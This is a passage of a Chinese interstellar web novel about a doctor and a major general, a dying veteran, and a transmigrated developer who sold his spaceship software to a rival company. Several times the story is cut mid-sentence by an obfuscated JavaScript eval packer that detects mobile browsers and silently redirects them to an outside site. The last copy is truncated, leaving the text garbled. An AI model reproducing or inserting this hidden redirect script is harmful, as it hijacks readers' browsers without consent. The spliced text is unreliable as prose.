祁聿乖乖照做,视线却早已黏在了医生那双修长漂亮的手。 这双手被主人套进了透明手套里面,适应性地伸展了一下,祁聿感觉自己的心似乎也被隔空撩动了一下。 星际医用手套采用高规格纳米材料,不失轻便和透气功效,和手指也十分贴合。 江绪俯下身,对自己的病人通知道: “我要开始检查了。” 祁聿点头,他表情严肃,坐姿端正,仿佛在进行一场庄严的宣誓仪式。 “这里感觉怎么样?这里……” 胸口处传来时轻时重的力道,祁聿一开始还能装装样子,但随着温热的触感越来越强烈,他的意识几乎要融化在这轻柔的抚摸中了。 医用手套设计的初衷就是给医生反馈病人最真实的身体状况,此刻这项功能完美地体现了出来。 隔着一层轻薄的材料,江绪清楚地感受到手下的皮肤在兴奋地颤栗,两旁紧绷的肌肉昭示着主人远没有表面风平浪静。 江医生专属病房内落针可闻,但这种表面的宁静又像是山雨欲来的虚幻。 江绪在此刻依然是沉着而冷静的,似乎对于他来讲,眼前情况和以往任何一次普通检查没有区别。 只是在逐渐加重的呼吸声中,似乎又混入了别的什么,来自于医生,亦或是眼前乖乖被摆弄的患者。 咚、咚咚、咚咚咚…… 江绪手下一重,祁聿一时没忍住,喉咙深处发出一声细微的闷哼。 “这位病人,你的心跳得太快了,”江绪漫不经心地批评道,“这很影响我对你病情的判断。” 祁聿感觉他现在似乎很渴,而唯一可以解救他的水源就在眼前,他握住胸前的手,声音微哑:“江医生,可不可以……” 感受到手上源源不断的热意,江绪果断抽回了手,冷淡地回道: “祁少将,你很健康。” 这句话基本等于在下逐客令了。 江绪毕竟还在工作,祁聿不打一声招呼跑到这里,他还肯陪他演一会戏就不错了。 祁聿没动,仰靠在椅背上可怜巴巴地看着江绪。 他的衣领还是敞开的,露出大片结实的皮肤,这个场景发生在当下,再加上他脸上的表情,几乎是一场身份倒错的医生猥亵现场。 江绪倒没生气。 他挑了挑眉,反思了一下自己最近确实比较忙,也有好几天没有联系祁聿了。 祁聿现在对他有点怨气,也……正常。 他一边把手套丢进垃圾桶,一边安抚道:“你去外面等我,我还有两个病人,中午一起吃饭。” 目的达成。 祁聿见好就收,风卷残云般收拾好了自己,刚好系统弹出了新的申请,江绪冲他打了手势,祁聿只能离开。 所幸剩下两个病人是来复查的,江绪看了眼检查报告,病情已经稳定了,他开了些防止病情反复的药,又嘱咐了一些注意事项,就让他们回家继续观察了。 他在系统上操作了一下,检测到上午已经没有任何预约,系统放开了权限,江绪将当前坐诊状况改成了休息,顺利下班。 星际时代的工作时间比较灵活,在人工智能高度发达的现在,个人系统接入联邦数据库,通过即时反馈,系统会提前帮人类 解决大部分事情,包括预约挂号和提醒复检。 因此只要医生看诊完本时间段系统上所有预约病人,就可以申请下班了。 诊室外,祁聿对着金属门望眼欲穿,最后果然不负所望,“叮——”的一声,一身常服的江绪走了出来。 祁聿亦步亦趋。 对于祁少将来说,这是个美好的中午。 吃饭期间,江绪好奇问了句他怎么突然来医院了,他可不觉得祁聿仅仅是为了来找他。 祁聿如实回答:“爷爷当年的一个战友生病了,来看看。” 能够格和祁老爷子称战友的,现在又正好在这家医院,江绪想了想,问道:“是沈爷爷?” 正好机器人新上了两个餐品,祁聿一边给江绪夹菜一边点头:“对。” “还见到了他孙子。” 江绪观察着祁聿没什么表情的脸,挑了挑眉,明知故问道:“怎么?他得罪祁少将了?” 倒也称不上得罪吧。 就是,很不爽,祁少将心里想。 但是这件事说出来又不太值当。 像是被一个鱼刺卡在了喉咙里,不上不下,让人难受。 但是旁边的人是江绪,在对方半是好奇半是揶揄的目光下,祁聿慢吞吞地说明了原委。 江绪一时无言。 等祁聿靠近了他才发现江绪一直在憋笑。 江绪见被发现了索性也不装了,毕竟他已经坐了一上午的班,好不容易在枯燥的上班生活中出现了一个笑料,还是关于祁聿的。 江绪想他会铭记此刻。 祁聿一脸黑线:“有这么好笑吗?” 左不过也只是一件小事,至于笑这么长时间吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686333|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在江绪半是解释,半是欢笑的言语中,祁聿总算搞清了真相:舒明尘是个洁癖加强迫症的综合体。 所以人家对谁都这样,可没有仅仅针对他。 “……他可真应该去看看医生。” 这对正常生活影响也太大了吧?这样的人有朋友吗? 江绪用手肘戳了他一下。 “心理疾病,没办法。” 江绪和舒明尘也做过一段时间的同学,加上他正好在这家医院工作,两人不可避免地碰了面。 相比于祁聿,他可是早早地利用职务之便去探望了一下沈老爷子,且意外得知了这件事。 沈确看见江绪来看望他很是高兴。 舒明尘在沈确眼里什么都好,就是太孤僻了,也不知道是不是因为生活习惯的原因,从小到大都没什么朋友。 他听见江绪是他孙子同学的时候眼睛都亮了,又是吩咐机器人倒水,又是招呼他坐下。 言语之间热络得不行。 江绪不过稍微提了下舒明尘似乎有点太爱干净了,沈确就把事情和盘托出了。 他知道自己时日无多,想着他走之后舒明尘身边连一个朋友都没有,就觉得心酸。 也因此江绪知道了一些往事。 关于舒明尘小时候的事,祁聿倒是有所耳闻。 祁聿的母亲顾容顾女士出自顾家,他舅舅顾承当时因为舒明尘在家里闹得不可开交,他那时候虽然年纪小,但听家长们谈话也多多少少知道了一些。 一个从星盗地盘上被救出来的孩子自然不会有什么好的童年,也不知道舒明尘小时候是怎么捱过来的。 一旁的江绪显然也想到了这一层,微微叹了口气。 祁聿:好了他现在是个罪人。 于是他心里那点别扭就这么烟消云散了,还留下了一些既愧又悔的难言情绪。 伈钛总部大楼87层。 这里只有公司高层以及股东们才有权限踏入,放眼望去,每个办公室的门紧紧闭合在一起,外观并不像是普通办公室会采用的设计,倒像是银行才会使用的工艺。 况且这种质地的材料合成极为艰难,历来受联邦管控,普通人想要拿到几乎是天方夜谭,而在这里,难得的防爆材料被当做普通耗材,铺满整层。 在最尽头的一间会议室内,平日里在公司耀武扬威的股东和高层们此时低垂着眼,神情紧张。 为首的是一个中年男子,看不清面容,他斜斜地倚靠在身后舒适的座椅上,手指有节奏地敲打着,像是众人的催命符。 “所以,事情办砸了?” 孟拙战战兢兢地起身,顾不得不断冒出的冷汗,回答道:“是、是的,我们也没想到他会瞎了眼去选另一家……” “呵——” 他微微前倾,面容从阴影中暴露出来,暴戾横生。 “你的意思是,这个结果,与你无关是吗?” “不、不是!是……” 孟拙紧张得冷汗直冒,可他根本不敢再说出任何为自己辩解的话语。 “那不就得了,事情办砸了,该怎么办就怎么办,这个不用我来提醒吧?” 此话一出,孟拙身旁的人抖若筛糠,但并没有任何一个人出声反对,在实质性的压力下,孟拙咬牙认下:“是。” 中年男子继续说道:“首领的意思是,既然系统你们没能拿下,就把那个人弄到。” 会议室内寂静无声,在联邦总部的眼皮子底下绑走一个公民,就算他们手段出奇,也几乎是不可能的事情。 况且这个公民还和军部有关系。 一个不留神,怕是会把自己给搭进去。 中年男子环顾一周,欣赏了一会这些人的窘态,嗤笑道:“这件事由我这边出人,你们辅助即可。” 没等他们表态,众人面前的身影就消失在了会议室。 他人现在身在边缘星球,自然不可能分身来到这里,刚才是采用的最新全息投影技术。 只是中年男子虽走了,却留了一个任务给他们,孟拙脸色难看,和其他人不同的是,在这场会议结束后,他要去领罚。 想到这,他再次咒骂了一句。 44.星际新贵(7) “小聿,老元帅身体怎么样?” “爷爷身体很好,就是老念叨着当年。” 沈确笑了下,他们这些上过战场的就是拧巴,当年在一块的时候谁也看不惯谁,老了老了,却要反过头来怀念了。 “我活到现在,没什么遗憾的,唯一放不下的就是阿尘。” 祁聿颔首,从善如流道:“我理解。祁家可以帮忙安排……” 沈确摇了摇头,说道:“我不是想说这个,他日后要干什么,那是他自己的事,我希望,如果有朝一日,他遇到了麻烦,看在我和老元帅的交情上,你能帮他一把。” 这不是什么难事,祁聿想,他点头答应了这个要求。 “他的公司是不是出事了?”沈确问道。 尽管舒明尘在他面前表现得不显山不露水,他在光脑上也查不出什么来,但沈确总觉得有些不对劲。 譬如现在舒明尘很少跟他谈论公司的事,每次他提起,也都被插科打诨地揭过去,到现在他也没问出个所以然来。 坐在一旁的祁聿思考了一下,没有否认。 这件事在光脑上一查就很清楚,难道舒明尘做了什么手脚屏蔽了沈爷爷光脑上的消息? 也不是不可能。 他想起了盛津。 在正式进入研发部之前,相关部门会将相关信息发送到本人及家人终端上,但盛津提前在他们的光脑上做了手脚,导致盛家没能及时得知自家小儿子溜去了联邦研发部。 同为研究系统算法的高知人才,舒明尘应该也可以做到。 沈确看他反应就知道了答案,躺在病床上叹了口气。 他有过两个孩子,自然知道抚养一个孩子长大所耗费的精力,所幸他已经退役,除去规律的复检,有大把的时间和精力放在如何拉近两人关系上。 但舒明尘从小就省心,也没让他费多少精力,至于那些青春期叛逆的行为更是一个没有,沈确既担心舒明尘心里憋着事情不告诉他,又担心是不是自己养育孩子的方式不对,没能让小孩放下心防。 他看着舒明尘长大成年、开创事业,那段时间各种赞美层出不穷,可他心里还是放不下。 舒明尘总是一个人,形形色色的人从他身旁出现又消失,没有一个朋友。 沈确从收养舒明尘的那一刻起就放弃了轻生的念头,慢慢的他有了新的希望。 他希望舒明尘快乐,希望舒明尘可以像其他普通人一样享受平静的生活,希望舒明尘结婚生子,幸福一生。 但他看不到那一天了。 沈确很后悔,他想如果当年没有那种念头或许就可以活得更久一点,可若是没有那件事,他和舒明尘也不会发展成这个局面。 人这一生,终究不能两全。 为舒明尘寻求祁家的庇护,是沈确最后能留给他的了。 祝愿我的阿尘做一个普通人,祝愿他的一生平凡又幸福。 沈确透过窗户,看着疾步走进医院的舒明尘如是想到。 宽敞华丽的办公室内,盛屹看着面前两人,颇为新奇地开口:“你们两个怎么凑一块了?” 他的桌前赫然站着两人——祁聿和盛津。 因为此行完全是为了帮盛津一个忙,祁聿特地换了便装,但他那笔直周正的身姿往那一站,很难不让人侧目。 祁聿玩笑般地说道:“怎么?身为老同学,特地来看望你一下还不行了?” 盛屹看着躲在祁聿身后地盛津,意有所指道:“看望自然是欢迎,就是怕某人嘴上一套,背地里一套,来我这指不定是另有所图呢。” 看着盛屹这幅阴阳怪气的样子,祁聿在心里默默给盛津点了个蜡,心想这盛屹也真是的,之前倒是没看出来他心眼这么小。 盛津这下从祁聿后面站出来了,控诉道:“哥,你怎么能这么说我?就算我当初没听你的话是我不对,那现在我好不容易来看看你,你还这么说我,我要回家告诉爸妈。” 盛屹凉凉道:“那你去啊。” 之前这招可能还有点作用,但现在,自从出了这么一档子事,盛父盛母反思了很久自己是不是太宠盛津了,以至于他都敢背着家里偷偷去国研所。 盛津要是现在回家,只怕等着他的是盛父盛母的双重轰炸。 盛津显然也知道这回事,但他没想到他哥这么不给他面子,当着祁哥的面让他下不来台。 但说到底也是他自己闯下来的祸,台阶还是得自己铺。 “……我最近比较忙,等我有时间了我一定去。” 盛屹好整以暇地看着他。 盛津生怕他哥那张嘴再说点什么,张嘴嚷嚷道:“哥,你提前下班吧,我饿了,我要吃饭。” 他哥高高在上地斜睨了他一眼,说道:“你饿了我可没饿。” 话虽如此,他的身体还是很诚实地暂停了一切工作。 盛津面上笑嘻嘻:“哥,你就当陪我吃嘛,我们两个好久没一起吃饭了。” 盛屹没动,只手中的笔转了转。 盛津一看有戏屁颠屁颠地跑到置衣架去拿他的外套,一副恭候大驾的态度。 盛屹看着盛津熟练的动作默了默,放在之前他很难想象在家里千呼百应的弟弟,有一天会做这种事情做得如此熟练。 盛屹的心里颇有些不是滋味。 吃饭地点是盛屹定的,他因为工作原因经常出席各大商会,自然对饭店之类的最是了解。 到了点菜的时候,兄弟俩十分有默契地把选择权交给了祁聿。 盛屹很清楚祁聿是看在俩人交情上才走了这一遭,盛津则是心里门清地知道祁哥是被他诓过来的,有些心虚,对他哥这个举动自然没什么异议。 相比在办公室,饭桌上的气氛倒是和谐了很多。 盛屹先是和祁聿共同怀念了一下学生时代的事,又感谢了祁聿对盛津的照顾,祁聿连连摆手。 “这个功劳我可担不起,有才华的人在哪里都能混得好。” 盛屹瞧了一眼旁边胡吃海塞的弟弟,实在是没办法把“才华”这两个字和盛津联系在一起。 盛津想着一会还有一场硬仗要打,不吃饱一点他哪有那能力在他哥面前一哭二闹三上吊? 果然饭局过半,盛津就开始发力了。 他先是人模人样地关心了他哥,提醒他哥注意休息,要按时吃饭,定时去体检,听得旁边的祁聿心里都有些发暖。 他想,这么善解人意的弟弟盛屹还对他这么凶,真是不知好歹。 其实这边的盛屹说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740172|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感动是假的,盛父盛母平日里对盛津过于娇惯,以至于他只能当家里唯一的黑脸。 这么多年盛津对他是又敬又怕,他们两兄弟难得有这么温情的时候。 盛津在一旁嘘寒问暖,盛屹吃着饭时不时地答几句,两人之间的关系也算融洽。 盛津看气氛烘托得差不多了,又开始把话题引到公司上来。赞美他哥是多么的英明神武,把他家公司发展的蒸蒸日上,并坚信公司在他哥的带领下迟早会和伈钛并肩。 盛屹虽然被吹捧得有些飘飘然,但还是有自知之明的,提醒道:“这话你就在这里说说,要是说出去指不定别人说你大放厥词。” 盛津:“本来就是嘛,那不然别人干嘛选咱们公司不选另一家。” 这简直是最近让盛屹最春风得意的事,堪称商界最不可思议的奇迹之一。各大媒体争相报道,嘉盛在行业内也算是大火了一把,并且乘着这股东风,市值也上涨不少。 盛屹提点了一下:“因为有时候,别人最想看到的,是诚意。” 论财力,嘉盛当然比不过伈钛,就只能在别处下功夫了。 结果正好下在对方的心坎上了,倒是意外之喜。 盛津乘胜追击:“哥,那这个系统被你们两家公司抢,一定很厉害吧?反正都被你收购了,能不能让我开开眼?” 盛屹陡然清醒。 合着绕了这么一个圈,又把祁聿弄过来,是在这等着他呢? 他似笑非笑,看得盛津心里直发毛。 盛津:“哥,你干嘛这么看着我……” 盛屹:“想看啊?” 盛津小鸡啄米。 盛屹扯了扯嘴角:“简单,你把研发部的工作辞了,到嘉盛应聘,面试过了就可以天天看了。” 盛津:…… “哥,你怎么这样!” 这简直是霸王条款! 盛屹一副公事公办的态度:“我和开发者签了保密协议,非项目人员无权接触系统。小津,虽然哥哥也很想帮你……” 他耸了耸肩,一脸无可奈何:“但这是违法的。” 盛津牙都咬碎了。 自家人行使一下方便怎么了,再说他又不是要看系统核心算法,这有什么好保密的?就是故意拿那劳什子保密协议堵他。 祁聿在旁边看这一场闹剧也算是回过味来了,感情盛津拿他当筏子把盛屹诓出来,就是为了那个系统? 他收回之前对盛津“善解人意的弟弟”的评价。 这个弟弟真是无事不登三宝殿啊。 一顿饭最后兄弟俩不欢而散。 盛屹和祁聿倒是趁这个契机聊了很多,只有盛津在旁边气得跟个仓鼠似的,盛屹就当没看见。 回去的路上,祁聿想了想,还是给盛津提了个建议:“你可以去找开发者谈谈。” 开发者如果同意的话,盛屹也没理由再拦着他。 盛津那边发了个“哭”的表情,表示他看到资讯的时候已经联系开发者了,但发出的邮件石沉大海,人家根本没理他。 呃…… 祁聿本想把舒明尘的终端号发给盛津,但在光脑上找了找才意识到,他上次好像根本没和舒明尘建立连接。 也没有人家的联系方式。 45.星际新贵(8) 自从舒明尘把公司卖了之后,光脑上的信息就开始让人烦不胜烦。 伈钛公司希望舒明尘在合同还没有正式生效之前能重新考虑一下,违约费他们出,嘉盛那边的条件他们也可以开出来云云…… 现在这么说,早干嘛去了。 舒明尘面无表情地叉掉,就当做没看见。 他还是有点职业道德的,再说了,这个决定也是符合原剧情的,所以不管从哪个层面来讲,舒明尘都不可能改变主意。 还有一些媒体希望舒明尘接受他们的采访,毕竟原主曾经也算是商界一颗冉冉升起的的新星,虽说到现在把公司卖了,但总体而言,他还是大赚了一笔。 也算是无人提携的商界新人不错的成绩了。 但舒明尘恨不得把这件事捂得越严实越好,哪里会愿意让媒体大张旗鼓地宣传? 因此舒明尘甚至都没有看到最后,直接一键清除了所有陌生邮件,这下界面简洁了很多,他也终于不用在那些垃圾邮件上浪费时间了。 盛津要是知道舒明尘这个操作估计会直接哭晕在厕所。 另一边的祁聿倒是觉得他可以给盛津牵个线。 盛家和沈老爷子也算是有些交集,沈老爷子刚住院的时候盛家也来探望过,只不过盛津跟家里闹翻了不知道而已。 不知道舒明尘最后选择嘉盛是不是有这层原因。 但话说回来这件事对舒明尘也无伤大雅,他未必不会同意。 因此祁聿第二次来病房探望沈老爷子的时候,身后还跟了个小尾巴。盛津跟在祁聿后面左看右看,在确认病房内没有第二个人的时候着实失望了一把。 当然他没有表现得很明显。 盛津转过头又恢复成乖巧小辈的姿态对沈确打了个招呼:“沈爷爷好,我是盛津。” 盛津?好像是盛家那个最小的孙子。 沈确乐呵呵地打了个招呼,毕竟来者是客,即便他心里清楚盛津应该有别的目的,但不说他和盛家老爷子的交情,就看在祁聿的面子上,一些场面还是要做的。 于是两人一个揣着明白装糊涂,一个心里装着事还要做足表面功夫心照不宣地聊了起来。 “上次你父母来看我的时候说你爷爷最近胃口不好,不大爱吃东西,现在好点了吗?” 盛津不好意思地回道:“沈爷爷还记得,倒显得我们这些做小辈的不上心了,我昨天刚和爷爷通了电话,倒不是胃口不好,只是医生说要清淡饮食,爷爷不太满意罢了。” 沈确呵呵一笑:“老盛这人就这样,当年我们去荒漠星球实地演练的时候,他嫌弃营养液难喝,自己偷偷跑到未开发区挖沙鼠,因为这件事还背了个处分。” 盛津一头雾水:“爷爷说当年食物不够,还是他带领大家找到食物,顺利通过了毕业考核。” 原来真相竟然是这样吗! 盛津又想起他爷爷为了吃的在家里吹胡子瞪眼的,说不准他爷爷以前真的是个资深的吃货。 沈确听完盛津的话忍俊不禁,就老盛那个死要面子的脾气,还真有可能编出这种话。 两人你一言我一语地聊着,倒也算融洽,当然对盛津来讲,他受到的冲击可是不小。 他爷爷在家里都是一副说一不二的架势,哪想到之前在军队是这么一个形象,跟家里的差别实在是有些大。 祁聿作为小辈在一旁端着得体的笑,偶尔也插嘴说点什么,倒是一副其乐融融的场面。 于是等舒明尘再次回到病房的时候见到的就是这样的场面: 本来应该在病床上的爷爷精神矍铄地说着什么,一旁的两人连连附和。 上和下睦、其乐融融。 听到开门的声音,三人不约而同地将目光聚集到了他的身上。 呃? 舒明尘刚想伸手打个招呼,毕竟他和祁聿也算是认识了,虽然身边那个不认识,但好歹人家是来看望他爷爷的,最基本的待客之礼要做足。 谁知还没等他说完,祁聿旁边的青年就像看见了什么不得了的人似的蹭得一下窜到了他面前。 盛津很自来熟地做着自我介绍:“舒哥你好,我是盛津,嘉盛集团的盛屹是我哥……” 他真是太机智了,盛津在心里默默给自己点了个赞。 要是直接说他是国研所研发部的某某某,张嘴就要说想看看卖到嘉盛的系统,人家要是能同意就见了鬼了。 反正他又没说谎,一开始先利用一下他哥留个好印象,剩下的事再徐徐图之。 盛津的思路倒是没错,奈何眼下的情况和他预想中有些出入。 舒明尘听到第三句话的时候脸色一变,都没等盛津说完,拉着人就出去了,临走前还镇定地解释了一下是工作上的事。 盛津:哎? 难道我哪句话说错了要被轰走了? 他求救似地看向祁哥,结果祁聿根本没理解他的意思,还对他安抚似地笑了笑。 沈确:嗯? 他孙子也有朋友了?不是他孙子的洁癖突然好了? 沈确张了张嘴,缓了很久才不可置信般说道:“他们关系什么时候这么好了?” 不对啊,他从没听舒明尘说过有这么一个朋友啊。 还是盛家的小孙子。 目睹一切的祁聿心底明镜似的,但他还是顺着舒明尘的话继续说道:“小津也是研究算法的,可能两人之前就接触过吧。” 沈确想了想也是,舒明尘很少跟他说工作上的事,可能俩人早就认识了只不过他不知道而已。 再说俩人因为同在一个领域,认识的可能性还挺大的。 另一边舒明尘拉着盛津走个不停,盛津在后面小跑着才跟上。 星际医院跟舒明尘认知里的很不一样,这里四分之一区被单独隔开,划为了休闲区,类似于大型商场,不过只有病人和病人家属才能进。 也算是提高一点病人的入住体验。 舒明尘拉着盛津走进咖啡馆才停下,医院里面人多眼杂,也不是谈事情的环境,现在这处咖啡馆只有零零散散几个人,正合适。 舒明尘还没说什么,盛津就谄媚地说:“哥你喝什么,我点。” 舒明尘奇怪地看了盛津一眼。 在个人终端共享数据的时代,只要踏入一家店,光脑就会根据个人习惯自动推荐相应商品,只要自己在光脑上勾选同意,下单上菜一气呵成。 盛津对上舒明尘的眼神才后知后觉自己好像又办了一件蠢事。 真是的,盛津在心底唾弃了一下,看人家那样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755807|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是缺一杯咖啡的人吗! 他要是想讨好人家也应该说点有价值的话吧! 救命,死嘴你快说啊! 舒明尘:“……你喝什么?我请你。” 祖宗哎,真是怕了你们了。 你们嘉盛要干嘛啊,不是说好如果还有事就在光脑上说吗? 还来找他,还来爷爷的病房找他,什么事得当着他爷爷的面说啊! 他爷爷还不知道他把公司卖了呢。 盛津在那冥思苦想,听到这个问题连思考都没思考地回道:“摩卡纯牛奶少糖加奶油,加冰谢谢。” 舒明尘低头下单。 盛津:……他刚刚说了什么? 之前他哥倒是经常请他吃饭喝咖啡,他都形成肌肉记忆了,然后舒明尘一问他就理所当然地说出来了。 死嘴让你说话没让你说这个啊! 盛津暴风哭泣。 他觉得他笨死了,舒明尘对他的印象一定差的要命。 舒明尘看着对面百感交集的盛津,问道:“你哥让你来干什么?” 救命啊公司已经卖了,系统都给你们了,你们愿意干嘛干嘛,别来他这搞什么状况外好吗? 盛津扭扭捏捏、左顾右盼、支支吾吾。 舒明尘:……难道他们想反悔? “你直说就行,没事的。” 你要是说你们想反悔我高低得提着刀找你哥说道说道。 盛津:“嗯……就是,我关注你好长时间了,从我上大学的时候就开始了,你之前在联赛获得一等奖的系统到现在还在学校里,我们都觉得你很厉害。我要是知道你有困难,我绝对会让我哥帮你的……” 而不是收购你的公司。 舒明尘:“所以?” 盛津:“我想看看你那个飞船自动操作系统。” 咖啡上的很快,盛津一边说一边搅,饱受摧残的奶油浮在上面,随着他的动作起伏不定,形状凄凄惨惨。 舒明尘:…… 他一边用消毒湿巾擦手一边板着脸问道:“就这个?” 盛津小心翼翼地观察着他的神色,轻轻地“嗯”了一声。 “……那你直接去你们公司看不就行了。” 你家把公司都买下来了,你想看不就是睁一睁眼就能办到的事吗? “是这样的……”盛津委屈巴巴地说,“我不在我家公司上班,我哥说我看不了。” 啊?亲弟弟也防啊? 舒明尘顿时对盛津他哥肃然起敬,这么遵守合同条约的老总真是不多了,看来原主真是慧眼识珠。 “那你来找我,是想让我以系统开发者名义给你开一个书面同意书是吧?” 盛津:“嗯嗯。” 保密协议主要是为了保护开发者的产权,但如果是开发者本人同意,条款之外的人也可以纳入到可接触人群范围内。 舒明尘:早说嘛,突然出现在他爷爷病房吓了他一跳。 盛津最后欢天喜地地拿着同意书去找他哥了,他本来都以为没什么希望了,结果事情峰回路转,真是柳暗花明又一村啊。 当然他走之前还被舒明尘耳提面命地交代以后不能在他爷爷面前提任何关于他公司的事情。 盛津自然满口答应。 46.星际新贵(9) 后来等沈确再问起关于盛津的事,舒明尘回了一大堆专业术语,他和盛津的对话夹杂在里面,沈确听得云里雾里,加上舒明尘神色淡淡,仿佛真是某个后辈来请教他一些专业性问题。 就这么被舒明尘混过去了。 疑问暂时得到了解决,但沈确心里却没有多高兴,甚至还有点空落落的。 沈确悠悠地叹了口气。 坐在一旁的舒明尘神色一凛。 熟悉的身体反应告诉他,他爷爷又想说教了。 沈老爷子的长篇大论在原主的记忆中留有浓墨重彩的一笔。 包括但不限于:脾气好一点,多出去多交朋友,别老是两点一线地活着,毕竟多个朋友多条路之类的。 像这样的话沈老爷子都不知道说了多少遍了,每次舒明尘都信誓旦旦地保证他会照做,结果到了现在他还是这样子。 不过接收原主记忆的舒明尘倒觉得也不能原因归咎于原主性格孤僻。 他的原有身份众人皆知,是个一无所有的孤儿,只不过运气好能得到沈爷爷的抚养,同那些天之骄子享受同样的待遇。 可原主和这些人到底是不一样的。 他们生来所享受的一切原主直到被沈老爷子收养才开始接触,诸如言行举止、社交礼仪、在荒星从没接触过的各种高端设备…… 一开始原主甚至连地上掉的东西都会捡起来吃。 毕竟从他有记忆起,食物很宝贵这个概念已经深深刻进他的脑子里了。 而他周围的同学只是一脸惊愕地望着他,像是看见了什么不可思议的事情。 直到有人告诉他,掉在地上的食物很脏,他可以去那边拿一个新的食物。 是干净的。 …… 虽然大家也没有嘲笑他,但舒明尘自我代入一下还是能感受到原主当时的崩溃。 他在这个环境中格格不入,而且因为敏感的性格,他也没办法把这种丢人的事情宣之于口。 在最初的时候,舒明尘能感受到原主是忐忑而后怕的。 他像是一只不小心闯进天鹅群的丑小鸭,只能一边接受着自己的丑陋,一边羡慕地看着他的同学展示自己洁白的羽毛。 拧巴又缄默的经历。 舒明尘内心无奈,那原主是这个性格,他也不能直接给原主换个性格吧? 被发现货不对板怎么办。 因此舒明尘别无他法,只能一边维持着原主的人设一边忍受着沈老爷子的狂风暴雨。 不过这次沈老爷子什么也没说,直接把他赶出去了。 舒明尘:??? 苍天开眼,他爷爷终于发现他朽木不可雕准备放弃他了? 然后他的光脑上弹出了一条消息,是他爷爷发的,告诉他不在外面待到晚上不能回来。 舒明尘摸了摸鼻子,好吧,那他去个咖啡馆什么的待一待好了。 再不济回家也行啊。 选择多多,办法多多。 沈老爷子要是知道舒明尘打算这么干估计得指着他的鼻子骂半小时。 不过最终舒明尘还是没有去咖啡馆。 因为在他面前,笑得一脸灿烂的盛津眼巴巴地望着他。 舒明尘莫名其妙:“你还有什么事吗?” “就是关于那个系统,我想请教一些问题,前辈能不能教教我?” 舒明尘想了想,反正他现在也无处可去,不如跟着盛津走一趟。 于是他点头答应。 盛津还没来得及欢呼雀跃就被舒明尘拉着,一路风驰电掣地来到了嘉盛,相比于上次他要见他哥都得打着祁聿的名义,这次可谓顺利非常。 简直是一路绿灯。 盛屹接到前台的电话也只是象征性地“嗯”了一声,没有多说。 作为系统的开发者和合同的甲方,舒明尘自己本身就有查看系统的权限。 因为在钱财上面比不过伈钛,嘉盛只能在别的方面下功夫,最明显的就是作为开发者的舒明尘对系统拥有极高的自主权。 在系统开发阶段,嘉盛会和开发者共享进度,舒明尘自己也可以随时进入相关项目组查看系统开发情况。 鉴于盛津在祁聿的点拨下牢牢地抱住了舒明尘的大腿,这下就算是盛屹反对也没用了。 况且那些对开发者独有的高权限还是他自己主张加上去的。 总不能转头就不认。 伈钛公司还在一边虎视眈眈地盯着呢。 盛津是想跟舒明尘探讨一下系统的问题,但他也没想到舒明尘直接带着他进入系统开发部。 毕竟之前他只有查看权限,没有接触核心算法的同意。 舒明尘稍微操作了一下,问道:“你哪里不明白?” 盛津一脸震撼地看着他。 系统开发者一般对自己的核心算法保护得很严格,很少会愿意向别人分享。 毕竟这涉及个人产权问题。 盛津也没想到舒明尘能这么…… 慷慨。 舒明尘要是知道盛津在想什么估计会汗颜。 他只是觉得盛津作为嘉盛集团总裁的弟弟,一方面盛津自己肯定不会泄露,另一方面他没有办法一直跟进这边的进展,如果能借此机会让盛津了解这个系统,作为同道中人,盛津会知道怎样做更符合系统的预期。 况且盛津作为盛家人,话语权应该不低。 不知道舒明尘要是得知盛津在暗地里已经被盛家单方面扫地出门了还会不会有这种期待。 总的来说舒明尘对盛津是抱有很大期望的。 这个系统对原主很重要,不然原主也不会迟迟无法接受现实,在各种投资商之间跑来跑去。 盛津的未来是一条光明坦途,舒明尘觉得把系统托付给盛津也算是个好的结果。 这么一想,舒明尘没来得一股伤感,真要形容的话,有一种后知后觉嫁女儿的感慨。 盛津摸了摸身上的鸡皮疙瘩,他感觉舒明尘看他的眼神很奇怪,有一种很“慈爱”的眼神但又感觉不完全是…… 真要说起来,好像有时候他外公就这么看他父亲? 盛津摇了摇头,把脑子里天马行空的想法压了下去。 怎么可能,前辈一定是发现了他的才能,想要传授他一些技巧,这种眼神一定是前辈对后辈那种既欣慰又惊艳的感觉。 对,就是这样。 想通了关节,盛津也就不再纠结了,转而开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 